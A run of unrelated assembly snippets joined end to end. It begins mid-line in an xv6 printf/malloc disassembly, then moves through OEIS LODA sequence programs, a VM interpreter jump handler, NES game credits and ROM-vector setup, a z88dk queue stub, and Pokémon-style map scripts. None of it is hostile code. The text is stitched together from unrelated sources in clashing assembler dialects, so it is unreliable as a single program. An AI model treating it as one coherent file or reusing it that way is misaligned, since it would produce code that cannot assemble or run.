-0x3c(%ebp),%edx x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 3ca: 89 c8 mov %ecx,%eax 3cc: 8b 75 c0 mov -0x40(%ebp),%esi }while((x /= base) != 0); if(neg) 3cf: 85 d2 test %edx,%edx 3d1: 74 08 je 3db <printint+0x5b> buf[i++] = '-'; 3d3: 8d 4f 02 lea 0x2(%edi),%ecx 3d6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 3db: 8d 79 ff lea -0x1(%ecx),%edi 3de: 66 90 xchg %ax,%ax 3e0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 3e5: 83 ef 01 sub $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3e8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 3ef: 00 3f0: 89 5c 24 04 mov %ebx,0x4(%esp) 3f4: 89 34 24 mov %esi,(%esp) 3f7: 88 45 d7 mov %al,-0x29(%ebp) 3fa: e8 c3 fe ff ff call 2c2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3ff: 83 ff ff cmp $0xffffffff,%edi 402: 75 dc jne 3e0 <printint+0x60> putc(fd, buf[i]); } 404: 83 c4 4c add $0x4c,%esp 407: 5b pop %ebx 408: 5e pop %esi 409: 5f pop %edi 40a: 5d pop %ebp 40b: c3 ret 40c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 410: 89 d0 mov %edx,%eax 412: f7 d8 neg %eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 414: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 41b: eb 87 jmp 3a4 <printint+0x24> 41d: 8d 76 00 lea 0x0(%esi),%esi 00000420 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 420: 55 push %ebp 421: 89 e5 mov %esp,%ebp 423: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 424: 31 ff xor %edi,%edi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 426: 56 push %esi 427: 53 push %ebx 428: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 42b: 8b 5d 0c mov 0xc(%ebp),%ebx char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 42e: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 431: 8b 75 08 mov 0x8(%ebp),%esi char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 434: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 437: 0f b6 13 movzbl (%ebx),%edx 43a: 83 c3 01 add $0x1,%ebx 43d: 84 d2 test %dl,%dl 43f: 75 39 jne 47a <printf+0x5a> 441: e9 c2 00 00 00 jmp 508 <printf+0xe8> 446: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 448: 83 fa 25 cmp $0x25,%edx 44b: 0f 84 bf 00 00 00 je 510 <printf+0xf0> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 451: 8d 45 e2 lea -0x1e(%ebp),%eax 454: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 45b: 00 45c: 89 44 24 04 mov %eax,0x4(%esp) 460: 89 34 24 mov %esi,(%esp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { putc(fd, c); 463: 88 55 e2 mov %dl,-0x1e(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 466: e8 57 fe ff ff call 2c2 <write> 46b: 83 c3 01 add $0x1,%ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 46e: 0f b6 53 ff movzbl -0x1(%ebx),%edx 472: 84 d2 test %dl,%dl 474: 0f 84 8e 00 00 00 je 508 <printf+0xe8> c = fmt[i] & 0xff; if(state == 0){ 47a: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 47c: 0f be c2 movsbl %dl,%eax if(state == 0){ 47f: 74 c7 je 448 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 481: 83 ff 25 cmp $0x25,%edi 484: 75 e5 jne 46b <printf+0x4b> if(c == 'd'){ 486: 83 fa 64 cmp $0x64,%edx 489: 0f 84 31 01 00 00 je 5c0 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 48f: 25 f7 00 00 00 and $0xf7,%eax 494: 83 f8 70 cmp $0x70,%eax 497: 0f 84 83 00 00 00 je 520 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 49d: 83 fa 73 cmp $0x73,%edx 4a0: 0f 84 a2 00 00 00 je 548 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 4a6: 83 fa 63 cmp $0x63,%edx 4a9: 0f 84 35 01 00 00 je 5e4 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 4af: 83 fa 25 cmp $0x25,%edx 4b2: 0f 84 e0 00 00 00 je 598 <printf+0x178> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4b8: 8d 45 e6 lea -0x1a(%ebp),%eax 4bb: 83 c3 01 add $0x1,%ebx 4be: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4c5: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 4c6: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4c8: 89 44 24 04 mov %eax,0x4(%esp) 4cc: 89 34 24 mov %esi,(%esp) 4cf: 89 55 d0 mov %edx,-0x30(%ebp) 4d2: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 4d6: e8 e7 fd ff ff call 2c2 <write> } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4db: 8b 55 d0 mov -0x30(%ebp),%edx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4de: 8d 45 e7 lea -0x19(%ebp),%eax 4e1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4e8: 00 4e9: 89 44 24 04 mov %eax,0x4(%esp) 4ed: 89 34 24 mov %esi,(%esp) } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 4f0: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4f3: e8 ca fd ff ff call 2c2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4f8: 0f b6 53 ff movzbl -0x1(%ebx),%edx 4fc: 84 d2 test %dl,%dl 4fe: 0f 85 76 ff ff ff jne 47a <printf+0x5a> 504: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, c); } state = 0; } } } 508: 83 c4 3c add $0x3c,%esp 50b: 5b pop %ebx 50c: 5e pop %esi 50d: 5f pop %edi 50e: 5d pop %ebp 50f: c3 ret ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 510: bf 25 00 00 00 mov $0x25,%edi 515: e9 51 ff ff ff jmp 46b <printf+0x4b> 51a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 520: 8b 45 d4 mov -0x2c(%ebp),%eax 523: b9 10 00 00 00 mov $0x10,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 528: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 52a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 531: 8b 10 mov (%eax),%edx 533: 89 f0 mov %esi,%eax 535: e8 46 fe ff ff call 380 <printint> ap++; 53a: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 53e: e9 28 ff ff ff jmp 46b <printf+0x4b> 543: 90 nop 544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 548: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 54b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 54f: 8b 38 mov (%eax),%edi ap++; if(s == 0) s = "(null)"; 551: b8 8f 07 00 00 mov $0x78f,%eax 556: 85 ff test %edi,%edi 558: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 55b: 0f b6 07 movzbl (%edi),%eax 55e: 84 c0 test %al,%al 560: 74 2a je 58c <printf+0x16c> 562: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 568: 88 45 e3 mov %al,-0x1d(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 56b: 8d 45 e3 lea -0x1d(%ebp),%eax ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; 56e: 83 c7 01 add $0x1,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 571: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 578: 00 579: 89 44 24 04 mov %eax,0x4(%esp) 57d: 89 34 24 mov %esi,(%esp) 580: e8 3d fd ff ff call 2c2 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 585: 0f b6 07 movzbl (%edi),%eax 588: 84 c0 test %al,%al 58a: 75 dc jne 568 <printf+0x148> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 58c: 31 ff xor %edi,%edi 58e: e9 d8 fe ff ff jmp 46b <printf+0x4b> 593: 90 nop 594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 598: 8d 45 e5 lea -0x1b(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 59b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 59d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5a4: 00 5a5: 89 44 24 04 mov %eax,0x4(%esp) 5a9: 89 34 24 mov %esi,(%esp) 5ac: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 5b0: e8 0d fd ff ff call 2c2 <write> 5b5: e9 b1 fe ff ff jmp 46b <printf+0x4b> 5ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 5c0: 8b 45 d4 mov -0x2c(%ebp),%eax 5c3: b9 0a 00 00 00 mov $0xa,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5c8: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 5cb: c7 04 24 01 00 00 00 movl $0x1,(%esp) 5d2: 8b 10 mov (%eax),%edx 5d4: 89 f0 mov %esi,%eax 5d6: e8 a5 fd ff ff call 380 <printint> ap++; 5db: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5df: e9 87 fe ff ff jmp 46b <printf+0x4b> while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5e4: 8b 45 d4 mov -0x2c(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5e7: 31 ff xor %edi,%edi while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5e9: 8b 00 mov (%eax),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5eb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5f2: 00 5f3: 89 34 24 mov %esi,(%esp) while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 5f6: 88 45 e4 mov %al,-0x1c(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5f9: 8d 45 e4 lea -0x1c(%ebp),%eax 5fc: 89 44 24 04 mov %eax,0x4(%esp) 600: e8 bd fc ff ff call 2c2 <write> putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 605: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 609: e9 5d fe ff ff jmp 46b <printf+0x4b> 60e: 66 90 xchg %ax,%ax 00000610 <free>: static Header base; static Header *freep; void free(void *ap) { 610: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 611: a1 10 0a 00 00 mov 0xa10,%eax static Header base; static Header *freep; void free(void *ap) { 616: 89 e5 mov %esp,%ebp 618: 57 push %edi 619: 56 push %esi 61a: 53 push %ebx 61b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 61e: 8b 08 mov (%eax),%ecx void free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; 620: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 623: 39 d0 cmp %edx,%eax 625: 72 11 jb 638 <free+0x28> 627: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 628: 39 c8 cmp %ecx,%eax 62a: 72 04 jb 630 <free+0x20> 62c: 39 ca cmp %ecx,%edx 62e: 72 10 jb 640 <free+0x30> 630: 89 c8 mov %ecx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 632: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 634: 8b 08 mov (%eax),%ecx free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 636: 73 f0 jae 628 <free+0x18> 638: 39 ca cmp %ecx,%edx 63a: 72 04 jb 640 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 63c: 39 c8 cmp %ecx,%eax 63e: 72 f0 jb 630 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 640: 8b 73 fc mov -0x4(%ebx),%esi 643: 8d 3c f2 lea (%edx,%esi,8),%edi 646: 39 cf cmp %ecx,%edi 648: 74 1e je 668 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 64a: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 64d: 8b 48 04 mov 0x4(%eax),%ecx 650: 8d 34 c8 lea (%eax,%ecx,8),%esi 653: 39 f2 cmp %esi,%edx 655: 74 28 je 67f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 657: 89 10 mov %edx,(%eax) freep = p; 659: a3 10 0a 00 00 mov %eax,0xa10 } 65e: 5b pop %ebx 65f: 5e pop %esi 660: 5f pop %edi 661: 5d pop %ebp 662: c3 ret 663: 90 nop 664: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 668: 03 71 04 add 0x4(%ecx),%esi 66b: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 66e: 8b 08 mov (%eax),%ecx 670: 8b 09 mov (%ecx),%ecx 672: 89 4b f8 mov %ecx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 675: 8b 48 04 mov 0x4(%eax),%ecx 678: 8d 34 c8 lea (%eax,%ecx,8),%esi 67b: 39 f2 cmp %esi,%edx 67d: 75 d8 jne 657 <free+0x47> p->s.size += bp->s.size; 67f: 03 4b fc add -0x4(%ebx),%ecx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 682: a3 10 0a 00 00 mov %eax,0xa10 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 687: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 68a: 8b 53 f8 mov -0x8(%ebx),%edx 68d: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 68f: 5b pop %ebx 690: 5e pop %esi 691: 5f pop %edi 692: 5d pop %ebp 693: c3 ret 694: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 69a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000006a0 <malloc>: return freep; } void* malloc(uint nbytes) { 6a0: 55 push %ebp 6a1: 89 e5 mov %esp,%ebp 6a3: 57 push %edi 6a4: 56 push %esi 6a5: 53 push %ebx 6a6: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6a9: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 6ac: 8b 1d 10 0a 00 00 mov 0xa10,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6b2: 8d 48 07 lea 0x7(%eax),%ecx 6b5: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 6b8: 85 db test %ebx,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 6ba: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 6bd: 0f 84 9b 00 00 00 je 75e <malloc+0xbe> 6c3: 8b 13 mov (%ebx),%edx 6c5: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 6c8: 39 fe cmp %edi,%esi 6ca: 76 64 jbe 730 <malloc+0x90> 6cc: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 6d3: bb 00 80 00 00 mov $0x8000,%ebx 6d8: 89 45 e4 mov %eax,-0x1c(%ebp) 6db: eb 0e jmp 6eb <malloc+0x4b> 6dd: 8d 76 00 lea 0x0(%esi),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6e0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 6e2: 8b 78 04 mov 0x4(%eax),%edi 6e5: 39 fe cmp %edi,%esi 6e7: 76 4f jbe 738 <malloc+0x98> 6e9: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6eb: 3b 15 10 0a 00 00 cmp 0xa10,%edx 6f1: 75 ed jne 6e0 <malloc+0x40> morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 6f3: 8b 45 e4 mov -0x1c(%ebp),%eax 6f6: 81 fe 00 10 00 00 cmp $0x1000,%esi 6fc: bf 00 10 00 00 mov $0x1000,%edi 701: 0f 43 fe cmovae %esi,%edi 704: 0f 42 c3 cmovb %ebx,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 707: 89 04 24 mov %eax,(%esp) 70a: e8 1b fc ff ff call 32a <sbrk> if(p == (char*)-1) 70f: 83 f8 ff cmp $0xffffffff,%eax 712: 74 18 je 72c <malloc+0x8c> return 0; hp = (Header*)p; hp->s.size = nu; 714: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 717: 83 c0 08 add $0x8,%eax 71a: 89 04 24 mov %eax,(%esp) 71d: e8 ee fe ff ff call 610 <free> return freep; 722: 8b 15 10 0a 00 00 mov 0xa10,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 728: 85 d2 test %edx,%edx 72a: 75 b4 jne 6e0 <malloc+0x40> return 0; 72c: 31 c0 xor %eax,%eax 72e: eb 20 jmp 750 <malloc+0xb0> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 730: 89 d0 mov %edx,%eax 732: 89 da mov %ebx,%edx 734: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 738: 39 fe cmp %edi,%esi 73a: 74 1c je 758 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 73c: 29 f7 sub %esi,%edi 73e: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 741: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 744: 89 70 04 mov %esi,0x4(%eax) } freep = prevp; 747: 89 15 10 0a 00 00 mov %edx,0xa10 return (void*)(p + 1); 74d: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 750: 83 c4 1c add $0x1c,%esp 753: 5b pop %ebx 754: 5e pop %esi 755: 5f pop %edi 756: 5d pop %ebp 757: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 758: 8b 08 mov (%eax),%ecx 75a: 89 0a mov %ecx,(%edx) 75c: eb e9 jmp 747 <malloc+0xa7> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 75e: c7 05 10 0a 00 00 14 movl $0xa14,0xa10 765: 0a 00 00 base.s.size = 0; 768: ba 14 0a 00 00 mov $0xa14,%edx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 76d: c7 05 14 0a 00 00 14 movl $0xa14,0xa14 774: 0a 00 00 base.s.size = 0; 777: c7 05 18 0a 00 00 00 movl $0x0,0xa18 77e: 00 00 00 781: e9 46 ff ff ff jmp 6cc <malloc+0x2c>
; A186351: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) before g(j) when f(i)=g(j), where f and g are the odd numbers and the triangular numbers. Complement of A186350. ; 2,4,6,9,13,17,21,26,32,38,44,51,59,67,75,84,94,104,114,125,137,149,161,174,188,202,216,231,247,263,279,296,314,332,350,369,389,409,429,450,472,494,516,539,563,587,611,636,662,688,714,741,769,797,825,854,884,914,944,975,1007,1039,1071,1104,1138,1172,1206,1241,1277,1313,1349,1386,1424,1462,1500 mov $1,$0 add $1,7 mul $0,$1 div $0,4 add $0,2
header_VmJumpIfLess vm_jump_if_less PROC push ebp mov ebp, esp ; pop the value push [ebp+arg0] call_vm_stack_pop_enc ; read the carry flag mov ebx, [ebp+arg0] mov ebx, [ebx+vm_flags] test ebx, VM_CARRY_FLAG jz finish ; modify the vm IP mov ebx, [ebp+arg0] mov [ebx+vm_ip], eax finish: mov esp, ebp pop ebp ret vm_jump_if_less ENDP header_marker
; ; Credits in the rom ; credits_begin: .asc " credits",$0a .asc $0a .asc " authors",$0a .asc $0a .asc "sylvain gadrat",$0a .asc $0a .asc " art-sources",$0a .asc $0a .asc "backgrounds",$0a .asc " by martin le borgne",$0a .asc "super tilt bro",$0a .asc " by tui",$0a .asc "kiki",$0a .asc " by tyson tan",$0a .asc "sinbad",$0a .asc " by zi ye",$0a .asc "i like jump rope",$0a .asc "perihelium",$0a .asc " by ozzed",$0a .asc $0a .asc $0a .asc " thanks",$0a .asc $0a .asc "antoine gohin bacteriamage",$0a .asc "benoit ryder bjorn nah",$0a .asc "fei margarita gadrat",$0a .asc "supergameland tui",$0a .byt $00 credits_end: ; ; Print some interesting addresses for debug ; #echo #echo wait_frame_loop: #print wait_next_real_frame+4 #echo nmi_begin: #print nmi #echo vblank_end: #print reset-11 #echo game_tick: #print game_tick #echo update_players: #print update_players #echo update_sprites #print update_sprites #echo game_tick_end: #print slowdown-1 ; ; Print some PRG-ROM space usage information ; ANIM_INVISIBLE_SIZE = 8 ANIM_INVISIBLE_ADDR = $fffa-ANIM_INVISIBLE_SIZE #echo #echo FIXED-bank total space: #print $10000-$c000 #echo #echo FIXED-bank audio engine size: #print ninegine_audio_engine_end-ninegine_audio_engine_begin #echo #echo FIXED-bank code size: #print code_end-$c000 #echo #echo FIXED-bank credits size: #print credits_end-credits_begin #echo #echo FIXED-bank free space: #print ANIM_INVISIBLE_ADDR-* ; ; Fill bank's empty space ; #if ANIM_INVISIBLE_ADDR-* < 0 #error Fixed bank overflow #endif .dsb ANIM_INVISIBLE_ADDR-*, 0 ; ; Place anim invisible (see comment in characters-common-animations.asm) ; #include "game/data/characters/characters-common-animations/invisible.asm" ; ; Set entry points vectors (also from nesmine) ; .word nmi ;entry point for VBlank interrupt (NMI) .word mapper_init ;entry point for program start (RESET) .word cursed ;entry point for masking interrupt (IRQ)
; int ba_priority_queue_top(ba_priority_queue_t *q) SECTION code_clib SECTION code_adt_ba_priority_queue PUBLIC ba_priority_queue_top EXTERN asm_ba_priority_queue_top defc ba_priority_queue_top = asm_ba_priority_queue_top ; SDCC bridge for Classic IF __CLASSIC PUBLIC _ba_priority_queue_top defc _ba_priority_queue_top = ba_priority_queue_top ENDIF
ViridianPokecenter_Script: call Serial_TryEstablishingExternallyClockedConnection jp EnableAutoTextBoxDrawing ViridianPokecenter_TextPointers: dw ViridianHealNurseText dw ViridianPokeCenterText2 dw ViridianPokeCenterText3 dw ViridianTradeNurseText ViridianHealNurseText: script_pokecenter_nurse ViridianPokeCenterText2: text_far _ViridianPokeCenterText2 text_end ViridianPokeCenterText3: text_far _ViridianPokeCenterText3 text_end ViridianTradeNurseText: script_cable_club_receptionist
; A034856: a(n) = binomial(n+1, 2) + n - 1 = n*(n+3)/2 - 1. ; 1,4,8,13,19,26,34,43,53,64,76,89,103,118,134,151,169,188,208,229,251,274,298,323,349,376,404,433,463,494,526,559,593,628,664,701,739,778,818,859,901,944,988,1033,1079,1126,1174,1223,1273,1324,1376,1429,1483,1538,1594,1651,1709,1768,1828,1889,1951,2014,2078,2143,2209,2276,2344,2413,2483,2554,2626,2699,2773,2848,2924,3001,3079,3158,3238,3319,3401,3484,3568,3653,3739,3826,3914,4003,4093,4184,4276,4369,4463,4558,4654,4751,4849,4948,5048,5149 add $0,3 bin $0,2 sub $0,2
object_const_def ; object_event constants PoketchCompany3F_MapScripts: db 0 ; scene scripts db 0 ; callbacks PoketchCompany3F_GrannyScript: jumptextfaceplayer .Text .Text: text "People everywhere" line "make #TCH apps." para "You'll be able to" line "get new apps from" cont "surprising places." IF DEF(_DEMO1) done ELSE para "The PCs here have" line "guides on the" cont "various #TCH" cont "apps." done ENDC PoketchCompany3F_KidScript: jumptextfaceplayer .Text .Text: text "Do you have a" line "#TCH? There's" cont "a girl's model and" cont "a boy's model, each" cont "in different" cont "colors." done PoketchCompany3F_WomanScript: jumptextfaceplayer .Text .Text: text "My husband's the" line "president." para "We started out in" line "a small workshop" cont "where he made what" cont "he liked." para "Now we're making" line "something that" cont "makes the world" cont "happy." para "Imagine that!" done PoketchCompany3F_MapEvents: db 0, 0 ; filler db 1 ; warp events warp_event 9, 0, POKETCH_COMPANY_2F, 2 db 0 ; coord events db 0 ; bg events db 3 ; object events object_event 2, 3, SPRITE_GRANNY, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, PoketchCompany3F_GrannyScript, -1 object_event 5, 2, SPRITE_BUG_CATCHER, SPRITEMOVEDATA_WALK_LEFT_RIGHT, 1, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, PoketchCompany3F_KidScript, -1 object_event 9, 3, SPRITE_POKEFAN_F, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, PoketchCompany3F_WomanScript, -1